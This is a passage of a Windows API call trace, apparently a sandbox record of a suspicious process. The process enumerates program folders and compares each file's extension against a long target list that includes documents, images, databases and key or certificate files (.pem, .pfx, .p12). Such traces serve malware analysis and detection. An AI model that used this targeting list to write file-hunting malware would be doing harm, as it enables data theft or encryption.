returned -1 [0259.366] lstrlenW (lpString=".iff") returned 4 [0259.366] lstrcmpiW (lpString1=".iff", lpString2=".png") returned -1 [0259.367] lstrlenW (lpString=".inc") returned 4 [0259.367] lstrcmpiW (lpString1=".inc", lpString2=".png") returned -1 [0259.367] lstrlenW (lpString=".indd") returned 5 [0259.367] lstrcmpiW (lpString1=".indd", lpString2="k.png") returned -1 [0259.367] lstrlenW (lpString=".ini") returned 4 [0259.367] lstrcmpiW (lpString1=".ini", lpString2=".png") returned -1 [0259.367] lstrlenW (lpString=".iqy") returned 4 [0259.367] lstrcmpiW (lpString1=".iqy", lpString2=".png") returned -1 [0259.367] lstrlenW (lpString=".j2c") returned 4 [0259.367] lstrcmpiW (lpString1=".j2c", lpString2=".png") returned -1 [0259.367] lstrlenW (lpString=".j2k") returned 4 [0259.367] lstrcmpiW (lpString1=".j2k", lpString2=".png") returned -1 [0259.367] lstrlenW (lpString=".java") returned 5 [0259.367] lstrcmpiW (lpString1=".java", lpString2="k.png") returned -1 [0259.367] lstrlenW (lpString=".jp2") returned 4 [0259.367] lstrcmpiW (lpString1=".jp2", lpString2=".png") returned -1 [0259.367] lstrlenW (lpString=".jpc") returned 4 [0259.367] lstrcmpiW (lpString1=".jpc", lpString2=".png") returned -1 [0259.367] lstrlenW (lpString=".jpe") returned 4 [0259.367] lstrcmpiW (lpString1=".jpe", lpString2=".png") returned -1 [0259.367] lstrlenW (lpString=".jpeg") returned 5 [0259.367] lstrcmpiW (lpString1=".jpeg", lpString2="k.png") returned -1 [0259.367] lstrlenW (lpString=".jpf") returned 4 [0259.367] lstrcmpiW (lpString1=".jpf", lpString2=".png") returned -1 [0259.367] lstrlenW (lpString=".jpg") returned 4 [0259.367] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0259.367] lstrlenW (lpString=".jpx") returned 4 [0259.367] lstrcmpiW (lpString1=".jpx", lpString2=".png") returned -1 [0259.367] lstrlenW (lpString=".js") returned 3 [0259.367] lstrcmpiW (lpString1=".js", lpString2="png") returned -1 [0259.367] lstrlenW (lpString=".jsf") returned 4 [0259.368] lstrcmpiW (lpString1=".jsf", lpString2=".png") returned -1 [0259.368] lstrlenW (lpString=".json") returned 5 [0259.368] lstrcmpiW (lpString1=".json", lpString2="k.png") returned -1 [0259.368] lstrlenW (lpString=".jsp") returned 4 [0259.368] lstrcmpiW (lpString1=".jsp", lpString2=".png") returned -1 [0259.368] lstrlenW (lpString=".kdc") returned 4 [0259.368] lstrcmpiW (lpString1=".kdc", lpString2=".png") returned -1 [0259.368] lstrlenW (lpString=".kmz") returned 4 [0259.368] lstrcmpiW (lpString1=".kmz", lpString2=".png") returned -1 [0259.368] lstrlenW (lpString=".kwm") returned 4 [0259.368] lstrcmpiW (lpString1=".kwm", lpString2=".png") returned -1 [0259.368] lstrlenW (lpString=".lasso") returned 6 [0259.368] lstrcmpiW (lpString1=".lasso", lpString2="ck.png") returned -1 [0259.368] lstrlenW (lpString=".lbi") returned 4 [0259.368] lstrcmpiW (lpString1=".lbi", lpString2=".png") returned -1 [0259.368] lstrlenW (lpString=".lgf") returned 4 [0259.368] lstrcmpiW (lpString1=".lgf", lpString2=".png") returned -1 [0259.368] lstrlenW (lpString=".lgp") returned 4 [0259.368] lstrcmpiW (lpString1=".lgp", lpString2=".png") returned -1 [0259.368] lstrlenW (lpString=".log") returned 4 [0259.368] lstrcmpiW (lpString1=".log", lpString2=".png") returned -1 [0259.368] lstrlenW (lpString=".m1v") returned 4 [0259.368] lstrcmpiW (lpString1=".m1v", lpString2=".png") returned -1 [0259.368] lstrlenW (lpString=".m4a") returned 4 [0259.368] lstrcmpiW (lpString1=".m4a", lpString2=".png") returned -1 [0259.368] lstrlenW (lpString=".m4v") returned 4 [0259.368] lstrcmpiW (lpString1=".m4v", lpString2=".png") returned -1 [0259.368] lstrlenW (lpString=".max") returned 4 [0259.368] lstrcmpiW (lpString1=".max", lpString2=".png") returned -1 [0259.368] lstrlenW (lpString=".md") returned 3 [0259.368] lstrcmpiW (lpString1=".md", lpString2="png") returned -1 [0259.368] lstrlenW (lpString=".mda") returned 4 [0259.368] lstrcmpiW (lpString1=".mda", lpString2=".png") returned -1 [0259.368] lstrlenW (lpString=".mdb") returned 4 [0259.369] lstrcmpiW (lpString1=".mdb", lpString2=".png") returned -1 [0259.369] lstrlenW (lpString=".mde") returned 4 [0259.369] lstrcmpiW (lpString1=".mde", lpString2=".png") returned -1 [0259.369] lstrlenW (lpString=".mdf") returned 4 [0259.369] lstrcmpiW (lpString1=".mdf", lpString2=".png") returned -1 [0259.369] lstrlenW (lpString=".mdw") returned 4 [0259.369] lstrcmpiW (lpString1=".mdw", lpString2=".png") returned -1 [0259.369] lstrlenW (lpString=".mef") returned 4 [0259.369] lstrcmpiW (lpString1=".mef", lpString2=".png") returned -1 [0259.369] lstrlenW (lpString=".mft") returned 4 [0259.369] lstrcmpiW (lpString1=".mft", lpString2=".png") returned -1 [0259.369] lstrlenW (lpString=".mfw") returned 4 [0259.369] lstrcmpiW (lpString1=".mfw", lpString2=".png") returned -1 [0259.369] lstrlenW (lpString=".mht") returned 4 [0259.369] lstrcmpiW (lpString1=".mht", lpString2=".png") returned -1 [0259.369] lstrlenW (lpString=".mhtml") returned 6 [0259.369] lstrcmpiW (lpString1=".mhtml", lpString2="ck.png") returned -1 [0259.369] lstrlenW (lpString=".mka") returned 4 [0259.369] lstrcmpiW (lpString1=".mka", lpString2=".png") returned -1 [0259.369] lstrlenW (lpString=".mkidx") returned 6 [0259.369] lstrcmpiW (lpString1=".mkidx", lpString2="ck.png") returned -1 [0259.369] lstrlenW (lpString=".mkv") returned 4 [0259.369] lstrcmpiW (lpString1=".mkv", lpString2=".png") returned -1 [0259.369] lstrlenW (lpString=".mos") returned 4 [0259.369] lstrcmpiW (lpString1=".mos", lpString2=".png") returned -1 [0259.369] lstrlenW (lpString=".mov") returned 4 [0259.369] lstrcmpiW (lpString1=".mov", lpString2=".png") returned -1 [0259.369] lstrlenW (lpString=".mp3") returned 4 [0259.369] lstrcmpiW (lpString1=".mp3", lpString2=".png") returned -1 [0259.369] lstrlenW (lpString=".mp4") returned 4 [0259.369] lstrcmpiW (lpString1=".mp4", lpString2=".png") returned -1 [0259.369] lstrlenW (lpString=".mpeg") returned 5 [0259.369] lstrcmpiW (lpString1=".mpeg", lpString2="k.png") returned -1 [0259.369] lstrlenW (lpString=".mpg") returned 4 [0259.370] lstrcmpiW (lpString1=".mpg", lpString2=".png") returned -1 [0259.370] lstrlenW (lpString=".mpv") returned 4 [0259.370] lstrcmpiW (lpString1=".mpv", lpString2=".png") returned -1 [0259.370] lstrlenW (lpString=".mrw") returned 4 [0259.370] lstrcmpiW (lpString1=".mrw", lpString2=".png") returned -1 [0259.370] lstrlenW (lpString=".msg") returned 4 [0259.370] lstrcmpiW (lpString1=".msg", lpString2=".png") returned -1 [0259.370] lstrlenW (lpString=".mxl") returned 4 [0259.370] lstrcmpiW (lpString1=".mxl", lpString2=".png") returned -1 [0259.370] lstrlenW (lpString=".myd") returned 4 [0259.370] lstrcmpiW (lpString1=".myd", lpString2=".png") returned -1 [0259.370] lstrlenW (lpString=".myi") returned 4 [0259.370] lstrcmpiW (lpString1=".myi", lpString2=".png") returned -1 [0259.370] lstrlenW (lpString=".nef") returned 4 [0259.370] lstrcmpiW (lpString1=".nef", lpString2=".png") returned -1 [0259.370] lstrlenW (lpString=".nrw") returned 4 [0259.370] lstrcmpiW (lpString1=".nrw", lpString2=".png") returned -1 [0259.370] lstrlenW (lpString=".obj") returned 4 [0259.370] lstrcmpiW (lpString1=".obj", lpString2=".png") returned -1 [0259.370] lstrlenW (lpString=".odb") returned 4 [0259.370] lstrcmpiW (lpString1=".odb", lpString2=".png") returned -1 [0259.370] lstrlenW (lpString=".odc") returned 4 [0259.371] lstrcmpiW (lpString1=".odc", lpString2=".png") returned -1 [0259.371] lstrlenW (lpString=".odm") returned 4 [0259.371] lstrcmpiW (lpString1=".odm", lpString2=".png") returned -1 [0259.371] lstrlenW (lpString=".odp") returned 4 [0259.371] lstrcmpiW (lpString1=".odp", lpString2=".png") returned -1 [0259.371] lstrlenW (lpString=".ods") returned 4 [0259.371] lstrcmpiW (lpString1=".ods", lpString2=".png") returned -1 [0259.371] lstrlenW (lpString=".oft") returned 4 [0259.371] lstrcmpiW (lpString1=".oft", lpString2=".png") returned -1 [0259.371] lstrlenW (lpString=".one") returned 4 [0259.371] lstrcmpiW (lpString1=".one", lpString2=".png") returned -1 [0259.371] lstrlenW (lpString=".onepkg") returned 7 [0259.371] lstrcmpiW (lpString1=".onepkg", lpString2="ack.png") returned -1 [0259.371] lstrlenW (lpString=".onetoc2") returned 8 [0259.371] lstrcmpiW (lpString1=".onetoc2", lpString2="lack.png") returned -1 [0259.371] lstrlenW (lpString=".opt") returned 4 [0259.371] lstrcmpiW (lpString1=".opt", lpString2=".png") returned -1 [0259.371] lstrlenW (lpString=".oqy") returned 4 [0259.371] lstrcmpiW (lpString1=".oqy", lpString2=".png") returned -1 [0259.371] lstrlenW (lpString=".orf") returned 4 [0259.371] lstrcmpiW (lpString1=".orf", lpString2=".png") returned -1 [0259.371] lstrlenW (lpString=".p12") returned 4 [0259.371] lstrcmpiW (lpString1=".p12", lpString2=".png") returned -1 [0259.371] lstrlenW (lpString=".p7b") returned 4 [0259.371] lstrcmpiW (lpString1=".p7b", lpString2=".png") returned -1 [0259.371] lstrlenW (lpString=".p7c") returned 4 [0259.371] lstrcmpiW (lpString1=".p7c", lpString2=".png") returned -1 [0259.371] lstrlenW (lpString=".pam") returned 4 [0259.371] lstrcmpiW (lpString1=".pam", lpString2=".png") returned -1 [0259.371] lstrlenW (lpString=".pbm") returned 4 [0259.372] lstrcmpiW (lpString1=".pbm", lpString2=".png") returned -1 [0259.372] lstrlenW (lpString=".pct") returned 4 [0259.372] lstrcmpiW (lpString1=".pct", lpString2=".png") returned -1 [0259.372] lstrlenW (lpString=".pcx") returned 4 [0259.372] lstrcmpiW (lpString1=".pcx", lpString2=".png") returned -1 [0259.372] lstrlenW (lpString=".pdd") returned 4 [0259.372] lstrcmpiW (lpString1=".pdd", lpString2=".png") returned -1 [0259.372] lstrlenW (lpString=".pdf") returned 4 [0259.372] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0259.372] lstrlenW (lpString=".pdp") returned 4 [0259.372] lstrcmpiW (lpString1=".pdp", lpString2=".png") returned -1 [0259.372] lstrlenW (lpString=".pef") returned 4 [0259.372] lstrcmpiW (lpString1=".pef", lpString2=".png") returned -1 [0259.372] lstrlenW (lpString=".pem") returned 4 [0259.372] lstrcmpiW (lpString1=".pem", lpString2=".png") returned -1 [0259.372] lstrlenW (lpString=".pff") returned 4 [0259.372] lstrcmpiW (lpString1=".pff", lpString2=".png") returned -1 [0259.372] lstrlenW (lpString=".pfm") returned 4 [0259.372] lstrcmpiW (lpString1=".pfm", lpString2=".png") returned -1 [0259.372] lstrlenW (lpString=".pfx") returned 4 [0259.372] lstrcmpiW (lpString1=".pfx", lpString2=".png") returned -1 [0259.372] lstrlenW (lpString=".pgm") returned 4 [0259.372] lstrcmpiW (lpString1=".pgm", lpString2=".png") returned -1 [0259.372] lstrlenW (lpString=".php") returned 4 [0259.372] lstrcmpiW (lpString1=".php", lpString2=".png") returned -1 [0259.372] lstrlenW (lpString=".php3") returned 5 [0259.372] lstrcmpiW (lpString1=".php3", lpString2="k.png") returned -1 [0259.372] lstrlenW (lpString=".php4") returned 5 [0259.372] lstrcmpiW (lpString1=".php4", lpString2="k.png") returned -1 [0259.372] lstrlenW (lpString=".php5") returned 5 [0259.372] lstrcmpiW (lpString1=".php5", lpString2="k.png") returned -1 [0259.372] lstrlenW (lpString=".phtml") returned 6 [0259.372] lstrcmpiW (lpString1=".phtml", lpString2="ck.png") returned -1 [0259.372] lstrlenW (lpString=".pict") returned 5 [0259.373] lstrcmpiW (lpString1=".pict", lpString2="k.png") returned -1 [0259.373] lstrlenW (lpString=".pl") returned 3 [0259.373] lstrcmpiW (lpString1=".pl", lpString2="png") returned -1 [0259.373] lstrlenW (lpString=".pls") returned 4 [0259.373] lstrcmpiW (lpString1=".pls", lpString2=".png") returned -1 [0259.373] lstrlenW (lpString=".pm") returned 3 [0259.373] lstrcmpiW (lpString1=".pm", lpString2="png") returned -1 [0259.373] lstrlenW (lpString=".png") returned 4 [0259.373] lstrcmpiW (lpString1=".png", lpString2=".png") returned 0 [0259.373] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0259.373] lstrlenW (lpString="15x15dot.png") returned 12 [0259.373] lstrlenW (lpString=".1cd") returned 4 [0259.373] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0259.373] lstrlenW (lpString=".3ds") returned 4 [0259.373] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0259.373] lstrlenW (lpString=".3fr") returned 4 [0259.373] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0259.373] lstrlenW (lpString=".3g2") returned 4 [0259.373] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0259.373] lstrlenW (lpString=".3gp") returned 4 [0259.373] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0259.373] lstrlenW (lpString=".7z") returned 3 [0259.373] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0259.373] lstrlenW (lpString=".accda") returned 6 [0259.373] lstrcmpiW (lpString1=".accda", lpString2="ot.png") returned -1 [0259.373] lstrlenW (lpString=".accdb") returned 6 [0259.373] lstrcmpiW (lpString1=".accdb", lpString2="ot.png") returned -1 [0259.373] lstrlenW (lpString=".accdc") returned 6 [0259.374] lstrcmpiW (lpString1=".accdc", lpString2="ot.png") returned -1 [0259.374] lstrlenW (lpString=".accde") returned 6 [0259.374] lstrcmpiW (lpString1=".accde", lpString2="ot.png") returned -1 [0259.374] lstrlenW (lpString=".accdt") returned 6 [0259.374] lstrcmpiW (lpString1=".accdt", lpString2="ot.png") returned -1 [0259.374] lstrlenW (lpString=".accdw") returned 6 [0259.374] lstrcmpiW (lpString1=".accdw", lpString2="ot.png") returned -1 [0259.374] lstrlenW (lpString=".adb") returned 4 [0259.374] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0259.374] lstrlenW (lpString=".adp") returned 4 [0259.374] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0259.374] lstrlenW (lpString=".ai") returned 3 [0259.374] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0259.374] lstrlenW (lpString=".ai3") returned 4 [0259.374] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0259.374] lstrlenW (lpString=".ai4") returned 4 [0259.374] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0259.374] lstrlenW (lpString=".ai5") returned 4 [0259.374] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0259.374] lstrlenW (lpString=".ai6") returned 4 [0259.374] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0259.374] lstrlenW (lpString=".ai7") returned 4 [0259.374] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0259.374] lstrlenW (lpString=".ai8") returned 4 [0259.374] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0259.374] lstrlenW (lpString=".anim") returned 5 [0259.374] lstrcmpiW (lpString1=".anim", lpString2="t.png") returned -1 [0259.374] lstrlenW (lpString=".arw") returned 4 [0259.374] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0259.374] lstrlenW (lpString=".as") returned 3 [0259.374] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 [0259.375] lstrlenW (lpString=".asa") returned 4 [0259.375] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0259.375] lstrlenW (lpString=".asc") returned 4 [0259.375] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1 [0259.376] RtlpDeCommitFreeBlock () [0259.376] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 1 [0259.376] RtlpDeCommitFreeBlock () [0259.376] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9060745b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x9060745b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4877fc17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x379f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters.xml", cAlternateFileName="")) returned 1 [0259.376] RtlpDeCommitFreeBlock () [0259.377] FindNextFileW (in: hFindFile=0x63edc8, lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="soniccolorconverter.ax", cAlternateFileName="")) returned 1 [0259.378] RtlpDeCommitFreeBlock () [0259.378] FindNextFileW (in: hFindFile=0x63ecc8, lpFindFileData=0x372fa84 | out: lpFindFileData=0x372fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7efd01f0, ftLastAccessTime.dwHighDateTime=0x1d50335, ftLastWriteTime.dwLowDateTime=0x7efd01f0, ftLastWriteTime.dwHighDateTime=0x1d50335, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0259.484] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.484] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1 [0259.485] RtlpDeCommitFreeBlock () [0259.485] FindNextFileW (in: hFindFile=0x63edc8, lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f55643f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x5f55643f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x23ff2d20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1 [0259.486] RtlpDeCommitFreeBlock () [0259.486] FindNextFileW (in: hFindFile=0x63edc8, lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0259.486] RtlpDeCommitFreeBlock () [0259.486] FindNextFileW (in: hFindFile=0x63ecc8, lpFindFileData=0x372fa84 | out: lpFindFileData=0x372fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1 [0259.491] RtlpDeCommitFreeBlock () [0259.492] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cf6c00, ftCreationTime.dwHighDateTime=0x1ca2caa, ftLastAccessTime.dwLowDateTime=0x5f005150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3cf6c00, ftLastWriteTime.dwHighDateTime=0x1ca2caa, nFileSizeHigh=0x0, nFileSizeLow=0x2a65d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1 [0259.494] RtlpDeCommitFreeBlock () [0259.494] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0259.494] FindClose (in: hFindFile=0x63f0c8 | out: hFindFile=0x63f0c8) returned 1 [0259.494] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45bc178 | out: hHeap=0x540000) returned 1 [0259.494] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 0 [0259.494] FindClose (in: hFindFile=0x63f048 | out: hFindFile=0x63f048) returned 1 [0259.494] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45e4190 | out: hHeap=0x540000) returned 1 [0259.494] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 0 [0259.494] FindClose (in: hFindFile=0x63ee08 | out: hFindFile=0x63ee08) returned 1 [0259.494] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4530048 | out: hHeap=0x540000) returned 1 [0259.494] FindNextFileW (in: hFindFile=0x63edc8, lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0 [0259.494] FindClose (in: hFindFile=0x63edc8 | out: hFindFile=0x63edc8) returned 1 [0259.494] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x460c1a0 | out: hHeap=0x540000) returned 1 [0259.494] FindNextFileW (in: hFindFile=0x63ecc8, lpFindFileData=0x372fa84 | out: lpFindFileData=0x372fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7f01c4b0, ftLastAccessTime.dwHighDateTime=0x1d50335, ftLastWriteTime.dwLowDateTime=0x7f01c4b0, ftLastWriteTime.dwHighDateTime=0x1d50335, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0260.890] RtlpDeCommitFreeBlock () [0260.890] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0260.895] RtlpDeCommitFreeBlock () [0260.895] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0 [0260.895] FindClose (in: hFindFile=0x63f048 | out: hFindFile=0x63f048) returned 1 [0260.895] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45de190 | out: hHeap=0x540000) returned 1 [0260.895] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0 [0260.895] FindClose (in: hFindFile=0x63ee08 | out: hFindFile=0x63ee08) returned 1 [0260.895] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4530048 | out: hHeap=0x540000) returned 1 [0260.897] FindNextFileW (in: hFindFile=0x63edc8, lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x20, 